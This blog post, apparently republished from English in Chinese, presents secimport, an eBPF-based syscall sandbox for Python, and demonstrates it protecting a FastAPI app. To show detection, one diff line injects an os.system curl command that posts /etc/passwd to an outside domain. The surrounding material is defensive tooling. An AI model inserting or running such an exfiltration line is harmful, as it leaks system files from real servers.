写点什么

使用 eBPF 技术保护 FastAPI 安全

作者:qife122
  • 2025-10-10
    福建
  • 本文字数:3950 字

    阅读完需:约 13 分钟

使用 eBPF 保护 FastAPI 安全

关于 API 安全

FastAPI 拥有约 24 万行代码:


➜ fastapi git:(master) git ls-files | xargs wc -l240562 total
复制代码


API 应该独立于操作系统运行,避免依赖操作系统内存或文件系统(在大多数情况下)。API 被设计为无状态、直接且不复杂。它们包含应用程序接口和数据库操作,不断进行大规模通信。


对黑客来说,API 因其宽松的一体化特性和重大影响而成为有价值的目标。处理请求并通过 TCP 应用协议返回各种状态代码(表示成功或错误)是它们的主要角色。

依赖项中的漏洞

2022 年,log4shell 暴露了一个关键问题。Log4j 设计用于日志记录目的,但在大多数面向互联网的 Java 服务器中通过 HTTP 头解析漏洞被利用。此漏洞允许攻击者打开本地 LDAP 服务器并在目标 HTTP 服务器上执行命令。这引发了一个问题:为什么日志记录库应该具有在主机上进行网络连接和执行命令的能力?此类功能应仅显式启用,而不是默认启用。

PyPi 恶意软件包的便利性

2023 年,pypi.org(Python 包索引)因安全事件数量超过审核人员的处理能力而不得不暂时关闭。虽然我们仔细选择依赖项,但不应犹豫使用它们。依赖项不应具有在没有明确权限的情况下进行网络连接或运行进程的能力。Python 代码可以在安装、导入和运行时执行任意代码。

解释器的主导地位("解释器为王")

Python 缺乏强大的权限管理是一个令人担忧的问题。由于共享内存(sys.modules)、线程和其他因素,管理代码中的每个模块可能具有挑战性。


虽然有些人可能持不同意见,但我相信明确定义的能力使程序更可预测。

实时追踪 Python 系统调用

在第一篇博客文章(第 1 部分)中,我探索了各种追踪工具。我已经在 Mac 和 Windows 上使用 DTrace 进行追踪和运行时,但我想要一个更好的解决方案,该方案仅适用于 Linux,并使用 eBPF。


我将 bpftrace 整合到 secimport 中,这是一个基于 eBPF+LLVM 的工具包。bpftrace 因其快速的学习曲线和稳健性而成为最佳选择。


bpftrace 真正卓越之处在于它能够利用 LLVM 将用 bpftrace 语言编写的高级用户定义脚本编译成高效的 BPF 代码。结果令人印象深刻!

Secimport

由 eBPF 提供支持的 Secimport 通过为 Python 提供安全沙箱来解决这些问题。使用 secimport,可以为代码中的每个模块指定特定的系统调用,以在运行时以极低的成本保护环境。


使用 USDT 和内核探针,secimport 追踪并保护 Python 运行时。它使开发人员能够重新控制包操作并保护其代码。


让我们在主机上安装 secimport(本例中为 Linux):


$ pip install secimport
复制代码


可用的 secimport 命令包括:


  • secimport trace:通过运行 Python 程序或指定运行进程 ID 来追踪其行为。系统调用按模块记录到文件中。

  • secimport trace_pid:按 PID 追踪运行进程。

  • secimport build:从追踪记录构建新的沙箱环境。

  • secimport run:在沙箱环境中运行 Python 进程。

  • secimport interactive:通过记录 Python 解释器行为创建新的定制沙箱。非常适合小代码片段和评估。它实际上按顺序运行 secimport trace、secimport build、secimport run。

从头创建新的 secimport 沙箱

要从头创建新的沙箱环境,可以使用 docker 容器:


git clone https://github.com/avilum/secimport.gitcd docker./build.sh # 构建bpftrace docker,以支持现有内核(也支持Mac)./run.sh   # 启动新的临时容器
复制代码


您可以使用 secimport interactive 开始构建沙箱:


root@1fa3d6f09989:/workspace# secimport interactive- 将打开一个python shell- 行为将被记录确定?(y): y追踪: ['/workspace/secimport/profiles/trace.bt', '-c', '/workspace/Python-3.10.0/python', '-o', 'trace.log']按CTRL+D停止追踪;Python 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import this>>> exit()$ secimport buildeBPF沙箱: sandbox.bt$ secimport runPython 3.10.0 (default, Mar 19 2023, 08:34:46) [GCC 9.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> import this>>> import os[SECIMPORT违规]: <stdin> 在深度0调用系统调用ioctl[SECIMPORT违规]: <stdin> 在深度0调用系统调用ioctl
复制代码

STOP 和 KILL 标志

使用--stop_on_violation 和--kill_on_violation 防止执行

如果您知道自己在做什么,并且定义了足够好的策略,我鼓励您使用这两个非常有用的标志:


root@1bc0531d91d0:/workspace# secimport run --stop_on_violation>>> import os>>> os.system('ps')[安全配置文件违规]: <stdin> 在深度8022调用系统调用56^^^ 由于系统调用违规停止进程85918 ^^^进程85918已停止。
root@ee4bc99bb011:/workspace# secimport run --kill_on_violation>>> import os>>> os.system('ps')[安全配置文件违规]: <stdin> 在深度8022调用系统调用56^^^ 由于系统调用违规终止进程86466 ^^^已终止。沙箱退出;
复制代码

如何保护 API 免受远程代码执行?

让我们尝试保护给定代码免受此类场景的影响。我将快速使用 FastAPI 程序作为示例(来自他们的快速入门):


from fastapi import FastAPIimport uvicorn
app = FastAPI()
@app.get("/")async def root(): return {"message": "Hello World"}
if __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=8000)
复制代码

步骤 1:追踪您的应用程序

您可以使用以下方法之一来追踪 Python 应用程序:


  • secimport trace 将使用 eBPF 追踪脚本运行您的应用程序以进行系统调用。


  secimport trace main.py
复制代码


  • secimport trace_pid 将追踪事先启动的运行进程。


  secimport trace_pid 28 # 其中28是已运行的python进程
复制代码


  • secimport interactive 可以追踪交互式 shell,适用于中小型代码片段(而不是像 main.py 这样的入口点)。


  root@0584e98a4b5c:/workspace# secimport interactive  让我们用secimport创建我们的第一个定制沙箱!  - 将打开一个python shell  - 行为将被记录  确定?(y): y  ...
复制代码


高测试覆盖率很有帮助,因为我们可以运行测试套件,并在逻辑被覆盖时期望相同的系统调用。


您还可以使用 eBPF 在生产环境中安全地记录行为,使用'secimport trace_pid 123'。它附加到运行进程,并能够记录所有系统调用,按代码中的模块分类。


我们已经追踪了我们的程序。让我们从这个追踪记录构建沙箱!

步骤 2:从追踪记录创建 YAML/JSON 策略

我们构建一个 bpftrace 脚本,该脚本被转换为监督进程的 eBPF 代码。


secimport build <flags>
复制代码

步骤 3:在 eBPF 沙箱内运行 Python 应用程序

secimport run main.py <flags>
复制代码

处理违规

我们使用 secimport 运行 main.py,它运行良好。让我们看看如果添加以下恶意行会发生什么:


@app.get("/")async def root():+++ import os;os.system("curl -X POST -d "$(cat /etc/passwd)" mydomain.com')    return {"message": "Hello World"}
复制代码


默认情况下,secimport 将记录违规 - 因为我们使用"os.system"运行命令。


如果我们想在检测到违规时终止或停止应用程序,secimport 可以向受监督的子进程发送信号 - SIGSTOP 或 SIGTERM,就在系统调用实际执行之前!


secimport 能够干扰进程并在违反您定义的策略时阻止它。

在违规时停止进程

root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --stop_on_violation[警告]: 此沙箱将在违规时向程序发送SIGSTOP。INFO:     服务器进程已启动 [93]INFO:     等待应用程序启动。INFO:     应用程序启动完成。INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)|[安全配置文件违规]: /workspace/main.py 在深度174387调用系统调用56^^^ 由于系统调用违规停止进程2446 ^^^进程2446已停止。
复制代码


如日志所示 - 通过向"secimport run"添加"--stop_on_violation"标志,沙箱停止了进程,它根本没有发送 HTTP 响应:


页面未加载!空响应。这是我们预期的,因为策略被违反了。

在违规时终止进程

如果我们想终止进程,而不是停止它怎么办?


root@0584e98a4b5c:/workspace# secimport run --entrypoint main.py --kill_on_violation[警告]: 此沙箱将在违规时向程序发送SIGKILL。INFO:     服务器进程已启动 [100]INFO:     等待应用程序启动。INFO:     应用程序启动完成。INFO:     Uvicorn运行在 http://0.0.0.0:8000 (按CTRL+C退出)[安全配置文件违规]: /workspace/main.py 在深度173398调用系统调用56^^^ 由于系统调用违规终止进程2455 ^^^已终止。沙箱退出;
复制代码


如预期的那样,进程被终止了。在我看来,这太棒了!

如何处理错误?

我建议有一个宽限期,在此期间所有"错误"都被记录而不是主动响应 - 这是默认行为。如果您知道自己在做什么,并且覆盖了所有想要允许的用例,请使用 stop_on_violation 或 kill_on_violation 不安全标志来阻止攻击,而不是记录它们。

结论

想象一下,在每个 Python 存储库中都有一个公共的"capabilities.txt"文件,定义模块可以执行的系统调用。


当然,当前解释器不支持这一点,但这种精确的规范将阐明模块的行为,不留歧义。


程序员应该清楚地了解其代码的操作,包括网络通信、文件系统访问、sudo 权限、套接字绑定、进程管理(fork/spawn)、内存操作(mmap、unshare、shm)等。


感谢您阅读到这里。我希望我鼓励您使用 secimport 保护当前的应用程序。我可以帮助这个过程,只需在 GitHub 上打开一个问题。


  • 第 1 部分:在代码中沙箱化 Python 模块

  • 第 2 部分:使用 eBPF 保护 PyTorch 模型

  • 源代码和示例:https://github.com/avilum/secimport


顺便说一句,我在业余时间做这个。我真的很喜欢咖啡!


Avi 在业余时间让互联网更安全


我是一名面向业务的工程师,热爱安全和 AI,具有深刻的安全洞察力。我喜欢破解云...更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
使用eBPF技术保护FastAPI安全_网络安全_qife122_InfoQ写作社区